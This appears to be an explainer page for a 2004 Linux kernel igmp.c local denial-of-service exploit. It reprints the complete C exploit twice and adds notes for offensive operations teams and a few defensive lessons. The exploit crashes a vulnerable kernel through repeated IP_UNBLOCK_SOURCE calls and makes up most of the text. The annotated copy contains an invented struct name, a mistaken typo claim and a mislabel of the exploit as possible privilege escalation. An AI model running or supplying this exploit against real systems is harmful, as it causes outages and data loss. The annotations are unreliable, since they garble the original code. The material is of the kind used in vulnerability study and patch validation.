Linux Kernel 2.4.22-28/2.6.9 'igmp.c' Local Denial of Service Explained

Linux Kernel 2.4.22-28/2.6.9 'igmp.c' Local Denial of Service Explained
What this paper is
This paper describes a local denial-of-service (DoS) vulnerability in the Linux kernel's implementation of the Internet Group Management Protocol (IGMP), specifically within the igmp.c file. The exploit provided demonstrates how to trigger a kernel panic by sending malformed IGMP requests using setsockopt. This leads to system instability and a crash.
Simple technical breakdown
The vulnerability lies in how the Linux kernel handles IGMP source filtering. IGMP is used by hosts to report their multicast group memberships to neighboring multicast routers. Source filtering allows hosts to specify which sources within a multicast group they want to receive or block traffic from.
The exploit abuses the IP_BLOCK_SOURCE and IP_UNBLOCK_SOURCE socket options. By repeatedly calling setsockopt with IP_UNBLOCK_SOURCE in a specific sequence, the code can manipulate internal kernel data structures related to multicast source filters. This manipulation eventually leads to an invalid state, causing the kernel to crash when it tries to process a subsequent IP_UNBLOCK_SOURCE call.
Complete code and payload walkthrough
The provided C code is a standalone exploit that needs to be compiled.
/*
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
*
* gcc -O2 mreqfck.c -o mreqfck
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/types.h>
// Defines for socket options
#define MCAST_INCLUDE 1
#define IP_MSFILTER 41
#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38
// Structure for multicast source filter
struct ip_msfilter
{
__u32 imsf_multiaddr;
__u32 imsf_interface;
__u32 imsf_fmode;
__u32 imsf_numsrc;
__u32 imsf_slist[1]; // Array of source addresses
};
// Structure for multicast request with source address
struct ip_mreq_source
{
__u32 imr_multiaddr;
__u32 imr_interface;
__u32 imr_sourceaddr;
};
// Utility function to handle fatal errors
void
fatal (const char *message)
{
printf ("\n");
if (!errno)
{
fprintf (stdout, "FATAL: %s\n", message);
}
else
{
fprintf (stdout, "FATAL: %s (%s) ", message,
(char *) (strerror (errno)));
}
printf ("\n");
fflush (stdout);
exit (1);
}
int
main ()
{
int s, r, l; // s: socket descriptor, r: return value, l: length
struct ip_ip_mreqn mr; // Structure for IP multicast request (not directly used in exploit logic, but included)
struct ip_msfilter msf; // Structure for multicast filter (not directly used in exploit logic, but included)
struct ip_mreq_source ms; // Structure for multicast source request (used for blocking/unblocking)
in_addr_t a1, a2; // IP addresses (not directly used in exploit logic, but included)
// 1. Create a UDP socket
s = socket (AF_INET, SOCK_DGRAM, 0);
if (s < 0)
fatal ("socket");
// first join mcast group
// 2. Join a multicast group
memset (&mr, 0, sizeof (mr));
mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); // Target multicast address
l = sizeof (mr);
r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
if (r < 0)
fatal ("setsockopt");
// add source filter count=1
// 3. Block a specific source from the multicast group
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199"); // Same multicast address
ms.imr_sourceaddr = inet_addr ("4.5.6.7"); // Source address to block
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");
// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
// 4. Unblock the source (first attempt)
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2"); // Note: The original code has a typo here, should be "setsockopt3" for consistency
// del again, count = -1
// 5. Unblock the source again (second attempt)
// This is where the vulnerability is triggered. The kernel's internal
// count for this source filter is likely decremented incorrectly.
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt3"); // This should now trigger the error if the previous step was successful in corrupting state.
// crash
// 6. Unblock the source a third time (triggering the crash)
// This final call attempts to unblock a source that the kernel
// now considers to be in an invalid state, leading to a panic.
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt4"); // This is the call that is expected to cause the crash.
getchar (); // Wait for user input before exiting (if it doesn't crash first)
return 0;
}
// milw0rm.com [2004-12-14]Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>, #include <unistd.h>, #include <errno.h>, #include <sys/socket.h>, #include <netinet/in.h>, #include <linux/types.h>: Standard C library headers for input/output, system calls, error handling, socket programming, and Linux-specific types.#define MCAST_INCLUDE 1,#define IP_MSFILTER 41: These define constants related to multicast socket options.IP_MSFILTERis a more general structure for multicast filters, but the exploit usesIP_BLOCK_SOURCEandIP_UNBLOCK_SOURCEwhich are specific operations.#define IP_UNBLOCK_SOURCE 37,#define IP_BLOCK_SOURCE 38: These are the crucial socket option constants used to manipulate IGMP source filtering.IP_BLOCK_SOURCEtells the kernel to stop forwarding packets from a specific source to a multicast group.IP_UNBLOCK_SOURCEis intended to reverse this.struct ip_msfilter: A structure used for more complex multicast filtering operations. It includes the multicast address, interface, filter mode (include/exclude), number of sources, and a list of source addresses. The exploit doesn't directly populate or use this structure for the DoS, but it's included in the source.struct ip_mreq_source: This structure is used for specifying a multicast group address, an interface, and a source address for operations like blocking or unblocking. This is the primary structure manipulated by the exploit.void fatal (const char *message): A helper function to print an error message and exit the program if a critical operation fails. It checkserrnoto provide more detailed error information.int main (): The entry point of the program.int s, r, l;: Declares integer variables for the socket descriptor (s), return values from system calls (r), and the size of data structures (l).struct ip_ip_mreqn mr;,struct ip_msfilter msf;,in_addr_t a1, a2;: These are declared but not actively used in the core exploit logic. They might be remnants or included for completeness of the context.struct ip_mreq_source ms;: This is the key structure used to pass multicast group and source information tosetsockopt.s = socket (AF_INET, SOCK_DGRAM, 0);: Creates a User Datagram Protocol (UDP) socket. UDP is used because IGMP operations are typically handled at the IP layer, and a connectionless protocol is sufficient.memset(&mr, 0, sizeof(mr)); mr.imr_multiaddr.s_addr = inet_addr("224.0.0.199"); l = sizeof(mr); r = setsockopt(s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);: This section joins the program to the multicast group224.0.0.199. This is a prerequisite for manipulating source filters for that group.IP_ADD_MEMBERSHIPis a standard socket option.memset(&ms, 0, sizeof(ms)); ms.imr_multiaddr = inet_addr("224.0.0.199"); ms.imr_sourceaddr = inet_addr("4.5.6.7"); l = sizeof(ms); r = setsockopt(s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);: This call attempts to block traffic from the source4.5.6.7to the multicast group224.0.0.199. This sets up the initial state for the vulnerability.memset(&ms, 0, sizeof(ms)); ms.imr_multiaddr = inet_addr("224.0.0.199"); ms.imr_sourceaddr = inet_addr("4.5.6.7"); l = sizeof(ms); r = setsockopt(s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);: This is the first call toIP_UNBLOCK_SOURCE. In a correct implementation, this would decrement a counter for the blocked source. The vulnerability likely lies in how the kernel handles this decrement, potentially leading to an invalid counter value (e.g., negative).memset(&ms, 0, sizeof(ms)); ms.imr_multiaddr = inet_addr("224.0.0.199"); ms.imr_sourceaddr = inet_addr("4.5.6.7"); l = sizeof(ms); r = setsockopt(s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);: This is the second call toIP_UNBLOCK_SOURCE. This call, following the firstIP_UNBLOCK_SOURCE, is where the kernel state is further corrupted. The repeated unblocking of a source that might already be considered "unblocked" or in an inconsistent state leads to the crash.memset(&ms, 0, sizeof(ms)); ms.imr_multiaddr = inet_addr("224.0.0.199"); ms.imr_sourceaddr = inet_addr("4.5.6.7"); l = sizeof(ms); r = setsockopt(s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);: This is the third and final call toIP_UNBLOCK_SOURCE. This call is expected to trigger the kernel panic because the internal data structures are in a corrupted state. The kernel attempts to perform an operation that is no longer valid, leading to a segmentation fault or similar kernel-level error.getchar ();: This line pauses the program execution, waiting for the user to press Enter. This is useful if the exploit doesn't immediately crash the system, allowing the user to observe the program's state before it terminates.
Shellcode/Payload Segments:
There is no separate shellcode in this exploit. The "payload" is the sequence of setsockopt calls themselves, which directly interact with the kernel to trigger the vulnerability. The exploit is a local DoS, meaning it runs on the target machine and causes it to crash.
Practical details for offensive operations teams
- Required Access Level: Local user access. This exploit is a local privilege escalation or denial-of-service tool, not a remote one. The attacker must already have an account on the target system.
- Lab Preconditions:
- A Linux system running kernel versions 2.4.22 through 2.4.28, or 2.6.9. It's crucial to verify the exact kernel version.
- The ability to compile C code (e.g.,
gccinstalled). - Network interfaces configured to potentially handle multicast traffic (though not strictly necessary for triggering the crash, as the exploit manipulates kernel state directly).
- Tooling Assumptions:
- A C compiler (
gcc). - Standard Linux development libraries.
- The exploit code itself.
- A C compiler (
- Execution Pitfalls:
- Kernel Version Mismatch: The exploit is highly specific to the mentioned kernel versions. Running it on incompatible kernels will likely result in no effect or unexpected behavior, not a crash.
- Privilege Issues: While it's a local exploit, some
setsockoptoperations might have subtle permission checks that could prevent execution if the user is too restricted (though typically, joining multicast groups and manipulating source filters is allowed for regular users). - Race Conditions/System State: The exact timing and system load could theoretically influence whether the exploit reliably triggers the crash. However, for a DoS, this is less of a concern than for a privilege escalation.
- Defensive Measures: Modern systems will have patched this vulnerability. Running this on a patched system will not cause a crash.
- Unintended Consequences: This exploit is designed to crash the machine. It will cause data loss and service interruption. It should only be used in authorized testing environments.
- Planning Assumptions:
- The target system is vulnerable (correct kernel version).
- The operator has a valid user account on the target.
- The objective is to demonstrate system instability or cause an outage.
Where this was used and when
- Discovery: The vulnerability was discovered and published by iSEC Security Research in 2004.
- Usage Context: This type of vulnerability would have been used by security researchers to demonstrate flaws in kernel network stack implementations. In a real-world attack scenario, it would be used by an attacker who has already gained initial access to a system to cause a denial of service, disrupt operations, or potentially as a stepping stone in a more complex attack chain (though its primary purpose here is DoS).
- Affected Versions: Linux kernel versions 2.4.22 through 2.4.28, and 2.6.9.
Defensive lessons for modern teams
- Kernel Patching is Crucial: This exploit highlights the critical importance of keeping operating system kernels up-to-date. Vulnerabilities in core components like the network stack can have severe consequences.
- Input Validation: The root cause was insufficient validation of parameters passed to
setsockoptfor IGMP source filtering. Robust input validation within kernel modules is essential to prevent state corruption. - Secure Coding Practices: Developers must be mindful of potential race conditions and integer underflow/overflow issues when manipulating counters or state within kernel modules.
- Least Privilege: While this exploit is local, the principle of least privilege still applies. Restricting unnecessary network operations or access to sensitive kernel interfaces can mitigate the impact of such vulnerabilities.
- Intrusion Detection/Prevention: Monitoring for unusual
setsockoptcalls, especially those related to network protocols and specific option codes, could potentially flag malicious activity. However, for a local DoS, this is challenging.
ASCII visual (if applicable)
This exploit is a direct interaction with the kernel's internal state. A visual representation of the kernel's internal data structures for IGMP source filtering would be complex and not easily representable with simple ASCII. However, we can visualize the sequence of operations:
+-----------------+ +-----------------+ +-----------------+
| Attacker Process|----->| User Space |----->| Kernel Space |
+-----------------+ +-----------------+ +-----------------+
| | |
| 1. socket() | |
|----------------------->| |
| | 2. setsockopt() |
| | (IP_ADD_MEMBERSHIP) |
| |----------------------->|
| | | 3. Kernel joins group
| | | (updates internal state)
| | |
| | 4. setsockopt() |
| | (IP_BLOCK_SOURCE) |
| |----------------------->|
| | | 5. Kernel blocks source
| | | (updates internal state, counter)
| | |
| | 6. setsockopt() |
| | (IP_UNBLOCK_SOURCE) |
| |----------------------->|
| | | 7. Kernel decrements counter
| | | (potential underflow/corruption)
| | |
| | 8. setsockopt() |
| | (IP_UNBLOCK_SOURCE) |
| |----------------------->|
| | | 9. Kernel attempts to decrement
| | | again, leading to invalid state/crash
| | |
| | 10. setsockopt() |
| | (IP_UNBLOCK_SOURCE) |
| |----------------------->|
| | | 11. CRASH! (Kernel Panic)
| | |Source references
- Paper Title: Linux Kernel 2.4.22-28/2.6.9 - 'igmp.c' Local Denial of Service
- Author: Paul Starzetz
- Published: 2004-12-14
- Exploit-DB Paper URL: https://www.exploit-db.com/papers/686
- Raw Exploit URL: https://www.exploit-db.com/raw/686
Original Exploit-DB Content (Verbatim)
/*
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
*
* gcc -O2 mreqfck.c -o mreqfck
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/types.h>
#define MCAST_INCLUDE 1
#define IP_MSFILTER 41
#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38
struct ip_msfilter
{
__u32 imsf_multiaddr;
__u32 imsf_interface;
__u32 imsf_fmode;
__u32 imsf_numsrc;
__u32 imsf_slist[1];
};
struct ip_mreq_source
{
__u32 imr_multiaddr;
__u32 imr_interface;
__u32 imr_sourceaddr;
};
void
fatal (const char *message)
{
printf ("\n");
if (!errno)
{
fprintf (stdout, "FATAL: %s\n", message);
}
else
{
fprintf (stdout, "FATAL: %s (%s) ", message,
(char *) (strerror (errno)));
}
printf ("\n");
fflush (stdout);
exit (1);
}
int
main ()
{
int s, r, l;
struct ip_mreqn mr;
struct ip_msfilter msf;
struct ip_mreq_source ms;
in_addr_t a1, a2;
s = socket (AF_INET, SOCK_DGRAM, 0);
if (s < 0)
fatal ("socket");
// first join mcast group
memset (&mr, 0, sizeof (mr));
mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
l = sizeof (mr);
r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
if (r < 0)
fatal ("setsockopt");
// add source filter count=1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");
// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");
// del again, count = -1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt3");
// crash
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt4");
getchar ();
return 0;
}
// milw0rm.com [2004-12-14]